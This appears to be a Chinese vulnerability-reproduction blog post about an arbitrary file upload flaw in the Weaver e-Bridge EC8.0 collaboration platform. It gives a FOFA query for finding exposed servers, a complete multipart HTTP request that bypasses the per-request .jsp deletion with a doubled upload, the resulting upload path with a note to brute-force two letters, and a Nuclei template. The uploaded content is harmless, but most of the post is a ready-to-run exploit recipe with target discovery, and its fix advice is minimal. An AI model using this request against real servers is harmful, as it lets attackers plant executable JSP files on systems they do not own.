【漏洞复现】泛微-云桥e-Bridge EC8.0 文件上传

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发布于 2024-08-11 08:43:08

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发布于 2024-08-11 08:43:08

文章被收录于专栏：Cyber Security

0x00 漏洞描述

泛微-云桥是一款基于云计算技术的企业级协作与办公平台，提供文档管理、流程审批、项目协作等功能，旨在提升企业内部沟通效率与工作协同能力。 /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞

影响范围

2024.7.25日发布补丁

0x01 测绘工具

FOFA：app=“泛微-云桥e-Bridge”

0x02 漏洞复现

单次请求会删除一次以.jsp结尾的文件，所以当次请求中使用双文件上传(类似文件名双写绕过)

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: x.x.x.x
Content-Length: 361
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream

127
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream

127
------WebKitFormBoundaryD5Mawpg068t7pbxZ--

上传到/upload/202408/1-2位大写字母/1222.jsp PS：需要爆破两位字母

0x03 Nuclei检测脚本

id: 泛微-云桥e-Bridge EC8.0 文件上传

info:
  name: 泛微-云桥e-Bridge EC8.0 文件上传
  author: admin
  severity: high
  description: /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞
  tags: file upload

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wxclient/app/recruit/resume/addResume?fileElementId=H"

    headers:
      Cache-Control: max-age=0
      sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
      sec-ch-ua-mobile: "?0"
      sec-ch-ua-platform: "Windows"
      Upgrade-Insecure-Requests: "1"
      Origin: "null"
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Sec-Fetch-Site: cross-site
      Sec-Fetch-Mode: navigate
      Sec-Fetch-User: "?1"
      Sec-Fetch-Dest: document
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9

    body: |
      ------WebKitFormBoundaryD5Mawpg068t7pbxZ
      Content-Disposition: form-data; name="file"; filename="test.jsp"
      Content-Type: application/octet-stream

      <% out.println("File upload successful"); %>
      ------WebKitFormBoundaryD5Mawpg068t7pbxZ--

    matchers:
      - type: word
        words:
          - "success"
        part: body
        condition: and

0x04 修复建议

官方已发布升级补丁包，支持在线升级和离线补丁安装

0x05 免责声明

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原始发表：2024-08-06，如有侵权请联系 cloudcommunity@tencent.com 删除

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